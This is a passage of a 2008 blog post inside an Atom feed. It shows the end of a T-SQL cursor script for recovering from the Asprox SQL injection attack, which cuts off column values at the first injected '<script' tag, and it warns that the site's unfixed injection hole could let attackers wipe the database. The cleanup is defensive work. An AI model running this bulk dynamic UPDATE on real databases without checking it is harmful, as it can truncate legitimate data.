&lt;span style="font-size:10pt;font-family:'Courier New';"&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style="color:blue;"&gt;exec&lt;/span&gt;&lt;span style="color:gray;"&gt;(&lt;/span&gt;&lt;span style="color:red;"&gt;&amp;#39;update [&amp;#39;&lt;/span&gt;&lt;span style="color:gray;"&gt;+&lt;/span&gt;@T&lt;span style="color:gray;"&gt;+&lt;/span&gt;&lt;span style="color:red;"&gt;&amp;#39;] set [&amp;#39;&lt;/span&gt;&lt;span style="color:gray;"&gt;+&lt;/span&gt;@C&lt;span style="color:gray;"&gt;+&lt;/span&gt;&lt;span style="color:red;"&gt;&amp;#39;] = substring([&amp;#39;&lt;/span&gt;&lt;span style="color:gray;"&gt;+&lt;/span&gt;@C&lt;span style="color:gray;"&gt;+&lt;/span&gt;&lt;span style="color:red;"&gt;&amp;#39;], 0, charindex(&amp;#39;&amp;#39;&amp;lt;script&amp;#39;&amp;#39;,[&amp;#39;&lt;/span&gt;&lt;span style="color:gray;"&gt;+&lt;/span&gt;@C&lt;span style="color:gray;"&gt;+&lt;/span&gt;&lt;span style="color:red;"&gt;&amp;#39;]))&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;

&lt;span style="font-size:10pt;font-family:'Courier New';color:red;"&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;where [&amp;#39;&lt;/span&gt;&lt;span style="font-size:10pt;font-family:'Courier New';color:gray;"&gt;+&lt;/span&gt;&lt;span style="font-size:10pt;font-family:'Courier New';"&gt;@C&lt;span style="color:gray;"&gt;+&lt;/span&gt;&lt;span style="color:red;"&gt;&amp;#39;] like &amp;#39;&amp;#39;%&amp;lt;script%&amp;#39;&amp;#39;&amp;#39;&lt;/span&gt;&lt;span style="color:gray;"&gt;)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;

&lt;span style="font-size:10pt;font-family:'Courier New';"&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style="color:blue;"&gt;end&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;

&lt;span style="font-size:10pt;font-family:'Courier New';"&gt;&lt;span&gt;&amp;nbsp; &lt;/span&gt;&lt;span style="color:blue;"&gt;FETCH&lt;/span&gt; NEXT &lt;span style="color:blue;"&gt;FROM&lt;/span&gt; Table_Cursor &lt;span style="color:blue;"&gt;INTO&lt;/span&gt;
@T&lt;span style="color:gray;"&gt;,&lt;/span&gt;@C &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;br /&gt;

&lt;span style="font-size:10pt;font-family:'Courier New';color:blue;"&gt;END&lt;/span&gt;&lt;span style="font-size:10pt;font-family:'Courier New';"&gt; &lt;span style="color:blue;"&gt;CLOSE&lt;/span&gt; Table_Cursor &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;br /&gt;

&lt;span style="font-size:10pt;font-family:'Courier New';color:blue;"&gt;DEALLOCATE&lt;/span&gt;&lt;span style="font-size:10pt;font-family:'Courier New';"&gt;
Table_Cursor&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;br /&gt;

&lt;span style="font-size:10pt;font-family:'Courier New';color:blue;"&gt;DROP&lt;/span&gt;&lt;span style="font-size:10pt;font-family:'Courier New';"&gt; &lt;span style="color:blue;"&gt;TABLE&lt;/span&gt; #Affected&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;br /&gt;

&lt;/blockquote&gt;

&lt;p&gt;Of course, nothing is fixed until you deal with your careless coding -- you&amp;#39;ve got a ticking time bomb.  They could wipe out your db if they so choose.
&lt;/p&gt;

&lt;p&gt;--Brett&lt;/p&gt;
&lt;div class = "shareblock"&gt;&lt;strong&gt;Share this post:&lt;/strong&gt; &lt;a href = "mailto:?body=Thought you might like this: http://aspadvice.com/blogs/programming_shorts/archive/2008/06/27/Asprox-Recovery.aspx&amp;amp;;subject=Asprox+Recovery" target="_blank" title = "Post http://aspadvice.com/blogs/programming_shorts/archive/2008/06/27/Asprox-Recovery.aspx"&gt;email it!&lt;/a&gt; |  &lt;a href = "http://del.icio.us/post?url=http://aspadvice.com/blogs/programming_shorts/archive/2008/06/27/Asprox-Recovery.aspx&amp;amp;;title=Asprox+Recovery" target="_blank" title = "Post http://aspadvice.com/blogs/programming_shorts/archive/2008/06/27/Asprox-Recovery.aspx"&gt;bookmark it!&lt;/a&gt; |  &lt;a href = "http://www.digg.com/submit?url=http://aspadvice.com/blogs/programming_shorts/archive/2008/06/27/Asprox-Recovery.aspx&amp;amp;;phase=2" target="_blank" title = "Post http://aspadvice.com/blogs/programming_shorts/archive/2008/06/27/Asprox-Recovery.aspx"&gt;digg it!&lt;/a&gt; |  &lt;a href = "http://reddit.com/submit?url=http://aspadvice.com/blogs/programming_shorts/archive/2008/06/27/Asprox-Recovery.aspx&amp;amp;title=Asprox+Recovery" target="_blank" title = "Post http://aspadvice.com/blogs/programming_shorts/archive/2008/06/27/Asprox-Recovery.aspx"&gt;reddit!&lt;/a&gt; |  &lt;a href = "http://www.dotnetkicks.com/submit/?url=http://aspadvice.com/blogs/programming_shorts/archive/2008/06/27/Asprox-Recovery.aspx&amp;amp;;title=Asprox+Recovery" target="_blank" title = "Post http://aspadvice.com/blogs/programming_shorts/archive/2008/06/27/Asprox-Recovery.aspx"&gt;kick it!&lt;/a&gt; |  &lt;a href = "https://favorites.live.com/quickadd.aspx?marklet=1&amp;amp;;mkt=en-us&amp;amp;;url=http://aspadvice.com/blogs/programming_shorts/archive/2008/06/27/Asprox-Recovery.aspx&amp;amp;;title=Asprox+Recovery&amp;amp;;top=1" target="_blank" title = "Post http://aspadvice.com/blogs/programming_shorts/archive/2008/06/27/Asprox-Recovery.aspx"&gt;live it!&lt;/a&gt;&lt;/div&gt;&lt;img src="http://aspadvice.com/aggbug.aspx?PostID=43534" width="1" height="1"&gt;</content><author><name>brettemiller</name><uri>http://aspadvice.com/members/brettemiller.aspx</uri></author><category term="asprox recovery" scheme="http://aspadvice.com/blogs/programming_shorts/archive/tags/asprox+recovery/default.aspx" /><category term="advabnr" scheme="http://aspadvice.com/blogs/programming_shorts/archive/tags/advabnr/default.aspx" /><category term="asprox removal" scheme="http://aspadvice.com/blogs/programming_shorts/archive/tags/asprox+removal/default.aspx" /><category term="asprox" scheme="http://aspadvice.com/blogs/programming_shorts/archive/tags/asprox/default.aspx" /><category term="sql injection" scheme="http://aspadvice.com/blogs/programming_shorts/archive/tags/sql+injection/default.aspx" /><category term="adw95" scheme="http://aspadvice.com/blogs/programming_shorts/archive/tags/adw95/default.aspx" /></entry></feed>